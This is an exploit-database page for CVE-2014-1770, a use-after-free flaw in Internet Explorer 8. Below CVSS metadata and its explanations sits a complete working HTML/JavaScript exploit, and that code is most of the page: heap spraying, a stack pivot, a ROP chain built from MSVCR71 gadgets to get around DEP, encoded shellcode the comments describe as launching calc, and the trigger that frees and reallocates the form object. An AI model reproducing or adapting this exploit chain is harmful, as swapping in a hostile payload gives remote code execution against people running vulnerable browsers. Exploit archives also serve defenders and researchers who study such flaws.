Exploitalert - Database of Exploits

Internet Explorer 8 MS14-035 Use-After-Free Exploit

CVE	Category	Price	Severity
CVE-2014-1770	CWE-416	Not specified	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2014-11-11

CPE
cpe:cpe:/a:microsoft:internet_explorer:8.0

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2014110068

<html> <head><title>MS14-035 IE8 Use-after-free Exploit</title></head> <body>  <div id="mydiv">x</div> <form id="frm"></form> <div id="sprayfrm"></div> <script type="text/javascript"> spraysize = 5000; sprayelement = document.getElementById("sprayfrm"); sprayelement.style.cssText = "display:none"; var data; offset = 0x506; buffer = unescape("%u2020%u2020"); pivot = unescape("%u8b05%u7c34"); // stack pivot // MSVCR71 rop = unescape("%u4cc1%u7c34"); // pop eax;ret; rop += unescape("%u10c2%u7c34"); // pop ecx;pop ecx;ret; rop += unescape("%u2462%u7c34"); // xor chain; call eax {0x7C3410C2} rop += unescape("%uc510%u7c38"); // writeable loc for lpflOldProtect rop += unescape("%u5645%u7c36"); // pop esi;ret; rop += unescape("%u5243%u7c34"); // ret; rop += unescape("%u8f46%u7c34"); // pop ebp;ret; rop += unescape("%u87ec%u7c34"); // call eax; rop += unescape("%u4cc1%u7c34"); // pop eax;ret; rop += unescape("%ufdff%uffff"); // {size} rop += unescape("%ud749%u7c34"); // neg eax;ret; {adjust size} rop += unescape("%u58aa%u7c34"); // add ebx, eax;ret; {size into ebx} rop += unescape("%u39fa%u7c34"); // pop edx;ret; rop += unescape("%uffc0%uffff"); // {flag} rop += unescape("%u1eb1%u7c35"); // neg edx;ret; {adjust flag} rop += unescape("%u4648%u7c35"); // pop edi;ret; rop += unescape("%u30ea%u7c35"); // mov eax,[eax];ret; rop += unescape("%u4cc1%u7c34"); // pop eax;ret; rop += unescape("%ua181%u7c37"); // (VP RVA + 30 - {0xEF adjustment} rop += unescape("%u5aeb%u7c35"); // sub eax,30;ret; rop += unescape("%u8c81%u7c37"); // pushad; add al,0xef; ret; rop += unescape("%u683f%u7c36"); // push esp;ret; rop += unescape("%ubc90%u1010%u1010"); // NOP / MOV ESP,0x10101010 // calc shellcode = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u16ba%u3d14%uddf0%ud9c2%u2474%u5ff4%uc929%u32b1%u5731%u0312%u1257%uf983%udfe8%uf905%ua9f9%u01e6%uc9fa%ue46f%udbcb%u6d14%uec79%u235f%u8772%ud732%ue501%ud89a%u40a2%ud7fd%u6533%ubbc1%ue7f0%uc1bd%uc824%u0afc%u0939%u7638%u5bb2%ufd91%u4c61%u4396%u6dba%uc878%u1582%u0efd%uac76%u5efc%ubb27%u46b7%ue343%u7767%uf780%u3e54%uccad%uc12f%u1d67%uf0cf%uf247%u3dee%u0a4a%uf936%u79b5%ufa4c%u7a48%u8197%u0f96%u210a%ub75c%ud0ee%u2eb1%ude64%u247e%uc222%ue981%ufe58%u0c0a%u778f%u2b48%udc0b%u520a%ub80a%u6bfd%u644c%uc9a1%u8606%u68b6%ucc45%uf849%ua9f3%u024a%u99fc%u3322%u7677%ucc34%u3352%u86ca%u15ff%u4f43%u246a%u700e%u6a40%uf337%u1261%uebcc%u1703%uab88%u65f8%u5981%udaff%u4ba2%ubd9c%u1730%u4163"); /* _______0x1cc_____ | | \|/ | Junk ROP Shellcode Pivot Junk 2 3 1 */ while (buffer.length < (offset - 0x1cc/2)) buffer += unescape("%u4cc2%u7c34"); buffer += rop; buffer += shellcode; while (buffer.length < offset) buffer += unescape("%u4cc2%u7c34"); while (buffer.length < 0x1000) buffer += buffer; data = buffer.substring(0,offset) + pivot + rop + shellcode data += buffer.substring(0,0x800-offset-rop.length-shellcode.length-pivot.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x450; i++) // payload heap spray with corelanc0d3r's DEPS { var obj = document.createElement("button"); obj.title = data.substring(0,0x40000-0x58); //obj.style.fontFamily = data.substring(0,0x40000-0x58); sprayelement.appendChild(obj); } block = unescape( // Literal string to avoid heap allocation "%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca"+ "%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca"+ "%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca"+ "%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca"+ "%u9860%u06ca%u9860%u06ca%u9860%u06ca%u9860%u06ca"); blocks = new Array(); for (i = 0; i < spraysize; i++) { // spray 1 blocks.push(document.createElement("button")); blocks[i].setAttribute("title",block.substring(0, block.length)); sprayelement.appendChild(blocks[i]); } for (i = spraysize/2; i < spraysize; i++) { // free some blocks blocks[i].setAttribute("title",""); } var newdiv = document.createElement('div'); newdiv.innerHTML = "<textarea id='CTextArea'></textarea>"; document.getElementById("frm").appendChild(newdiv); var newdiv2 = document.createElement('div'); newdiv2.innerHTML = "<input id='CInput' type='checkbox' onpropertychange='crash()'></input>"; document.getElementById("frm").appendChild(newdiv2); document.getElementById("CInput").checked = true; trigger = true; document.getElementById("frm").reset(); function crash() { if (trigger) { document.getElementById("frm").innerHTML = ""; // Free object, trigger bug CollectGarbage(); for (i = spraysize/2; i < spraysize; i++) { // spray 2 blocks[i].setAttribute("title",block.substring(0, block.length)); } } } </script> </body> </html>

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